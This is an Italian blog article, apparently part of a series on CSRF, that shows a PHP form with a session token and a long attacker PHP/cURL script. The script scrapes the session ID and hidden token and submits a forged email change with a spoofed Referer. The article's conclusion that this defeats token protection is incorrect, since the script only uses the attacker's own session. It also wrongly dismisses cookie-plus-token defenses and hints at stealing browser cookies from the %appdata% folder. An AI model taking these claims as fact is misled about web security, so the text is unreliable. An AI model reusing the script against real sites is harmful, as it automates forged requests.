Nella seconda parte di questa serie di articoli abbiamo visto come il controllo via Javascript e del referral sia inefficace. In questo articolo vedremo come una contromisura posta in essere in molti siti possa essere resa inefficace piuttosto agilmente.Supponiamo infatti che dopo aver realizzato il nostro modulo e di esserci accorti che il controllo del referral sia stato superato dal cattivo di turno. Vieni in nostro aiuto un “esperto” che ci consiglia l’uso di un token in un campo nascosto. Uno dei sistemi che possiamo trovare online e’ quello del classico nonce ossia un token generato come stringa pseudocasuale impredicivile, un esempio di nonce potrebbe essere:
$_SESSION[‘token’] = md5(mt_rand());
Vediamo come si puo’ implementare il token nel form precedentemente creato, ecco il codice:
<?php
session_start();
$_SESSION[‘token’] = md5(mt_rand());
?>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 3</title>
</head>
<body>
<script>
function controlla_form()
{
var Filtro = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-]{2,})+\.)+([a-zA-Z0-9]{2,4})$/;
var email = document.modulo.email.value;
if (!Filtro.test(email)) {
alert(“Indirizzo mail vuoto o non corretto.”);
document.modulo.email.focus();
return false;
}
else
document.modulo.submit();
}
</script>
<form action=”invia_form.php” name=”modulo” method=”post” onsubmit=”controlla_form(); return false;”>
<input type=”hidden” name=”token” value=”<?php echo($_SESSION[‘token’]); ?>” />
Nuovo indirizzo email: <input type=”text” name=”email” value=”” />
<br /><input type=”submit” value=”Cambia Email >>” />
</form>
</body>
</html>
Come possiamo vedere dal codice ogni volta che viene richiamata questa pagina viene inizializzata la sessione, generato il codice pseudocasuale ed inserito nel form come parametro nascosto quindi non visibile all’utente che naviga il sito nella sua area protetta.
Una volta che l’utente preme il pulsante “Cambia Email” verra’ portato alla pagina invia_form.php cosi’ fatta:
<?php
session_start();
if ($_SERVER[‘HTTP_REFERER’] != “http://www.freescriptphp.com/form.php”)
die(“Preso!”);
if ( (!isset($_SESSION[‘token’])) || ($_POST[‘token’] != $_SESSION[‘token’]) )
die(“Preso!!!”);
$email = addslashes($_POST[‘email’]);
if(!(filter_var($email, FILTER_VALIDATE_EMAIL)))
echo(“Indirizzo mail non valido”);
else
echo(“Nuovo indirizzo mail registrato: “.$email); // Evitiamo il salvataggio nel DB che sarebbe in questa sezione…?>
?>
A questo punto, ce l’ha detto l’esperto, possiamo star tranquilli, all’utente non e’ cambiato nulla ma il nostro sistema e’ al sicuro perche’ oltre a controllare il referral controlliamo anche il token e se il campo nascosto non corrisponde alla sessione possiamo stare tranquilli che l’operazione sia impossibile peccato che cio’ non sia vero perche’ il nostro esperto di sicurezza non ha fatto i conti con le potenzialita’ del cattivo di turno.
Ecco infatti cosa potrebbe fare in questa situazione il cattivo evoluto:
<?php
session_start();
?>
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>BITuBIT – CSRF: esempio 3</title>
</head>
<body>
<form method=”post” name=”modulo”>
<input type=”hidden” value=”3″ name=”esempio3″ />
<input type=”submit” value=”Attiva cattivo 3″ />
</form>
<?php
if ( (isset($_POST[‘esempio3’])) AND (strlen($_POST[‘esempio3’])>0) )
{
$UserAgent = ‘Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1’;
$urlForm = ‘http://www.freescriptphp.com/form.php’;
$nomeFile = “appoggio.txt”;
$varToken = “token”;
$url = ‘http://www.freescriptphp.com/invia_form.php’;
$ch = curl_init($urlForm);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$output = curl_exec($ch);
curl_close($ch);
// Recupero la variabile di sessione…
/** Function CURL_ParseHeader()
* Questa funzione ha il compito di analizzare gli headers solitamente prelevati con una curl
* se esiste HTTP/, viene esploso il dato e verificato i codice, se questo e’ tra quelli passati alla funzione
* allora la risposta e’ positiva (2XX sono positivi – 3XX sono positivi ma x redirect)
* sono settati x dafault i valori da 200 a 299
*
* @param string $Response headers da analizzare
* @param numeric $StartHeaders risposta headers inizio
* @param numeric $EndHeaders risposta headers fine
* @return bool true in caso successo o false in caso di headers differrente
*/
function CURL_ParseHeader($Response,$StartHeaders=200,$EndHeaders=299)
{
$HttpHeaders = false;
$Response=strip_tags($Response);
$Strip =explode(“\n”,$Response);
foreach($Strip as $k=>$v)
{
if(preg_match(“/^[HTTP\/]/”,$v)==true)
{
$ValHttp =explode(” “,$v);
if (($ValHttp[1] >= $StartHeaders) AND ($ValHttp[1] <= $EndHeaders))
$HttpHeaders = true;
}
}
//verifico se e’ positiva la risposta
if($HttpHeaders == true)
return true;
else
return false;
}
/** Preleva il valore del PHPSESSID negli header che gli vengono passati
* Questa funzione ha il compito di ricere un testo e di verificare la linea dove esiste
* la voce <b>Set-Cookie: PHPSESSID=……;</b>. Una volta trovata esegue il parsing e ne
* estrae il valore. Se non e’ prensente risponde con un false booleano.
* <br>
* <code>
* include(“function_curl.php”);
* $Curl = curl_exec($UrlInit);
* $PHPID=CURL_GetIDSession($Curl);
* echo $PHPID;
* #STAMPA l’id di sessione di lavoro.
* </code>
*
* @param string $Header risposta di una curl comprensivo dei suoi header
* @return boolean false in caso di errore,risponde con la id di sessione se corretta
*/
function CURL_GetIDSession($Header=””)
{
if($Header!=””)
{
if(CURL_ParseHeader($Header)==true)
{
$s=explode(“\n”,$Header);
foreach($s as $key=>$value)
{
if(preg_match(“/^Set-Cookie: PHPSESSID=[\w\W\d]+;/”,$value,$y))
{
//Se trovo il +OK setto a true la variabile di controllo del flusso
$Exp=explode(“=”,$y[0]);
$SSID=$Exp[1];
}
}
if($SSID!=””)
return $SSID;
else
return false;
}
else
return false;
}
else
return false;
}
$PHPSESSID=CURL_GetIDSession($output);
$fh = fopen($nomeFile,’w’);
// Butto il risultato in un file
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urlForm);
curl_setopt($ch, CURLOPT_COOKIE,”PHPSESSID=”.$PHPSESSID);
curl_setopt ($ch, CURLOPT_FILE, $fh);
$risultato = curl_exec($ch);
curl_close($ch);
// Estraggo il token…
$handle = @fopen($nomeFile, “r”);
if ($handle) {
while (($buffer = fgets($handle, 4096)) !== false) {
if (strpos($buffer,$varToken))
{
// Estraggo il token…
$arrayTkn = explode(‘value=”‘,$buffer);
$tokenTrovato = substr($arrayTkn[1],0,strpos($arrayTkn[1],’”‘));
}
}
if (!feof($handle)) {
echo “Error: unexpected fgets() fail\n”;
}
fclose($handle);
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_COOKIE,”PHPSESSID=”.$PHPSESSID);
curl_setopt($ch, CURLOPT_REFERER, ‘http://www.freescriptphp.com/form.php’);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(‘multipart/form-data’));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(‘email’ => ‘info@freescriptphp.com’, ‘token’ => $tokenTrovato));
$risultato = curl_exec($ch);
curl_close($ch);
}
?>
</BODY>
</html>
Cosa ha fatto il cattivo ? Ha letto la variabile di sessione, ha usato la sua sessione per aprire la pagina del form e prelevare il campo nascosto contenent il token e poi ha usato la sessione ed il token per generare la chiamata alla pagina finale superando tutti i controlli dell’ “esperto” di sicurezza!
Anche stavolta e’ andata male, il cattivo ha avuto la meglio! 🙁
Cosa possiamo quindi fare per arginare il cattivo ? Una delle cose piu’ valide, a detta degli esperti Felten and Zeller, la miglior soluzione e’quella del doppio sistema di controllo cookie + token, in pratica oltre a generare il token dovremo salvarlo tra i cookie dell’utente e quando l’utente invia il form controllare se il token ed il valore nel cookie sono identici e solo in tal caso validare la richiesta.
Purtroppo potremo dimostrare anche a loro che il sistema indicato e’ errato riallacciandoci all’articolo fatto su Filezilla ma stavolta con la cartella a cui attingere potrebbe essere ad esempio:
%appdata%\Microsoft\Windows\Cookies\
d’altronde la maggior parte ancora usa Internet Explorer come browser e sappiamo bene quanto cio’ sia facile 🙁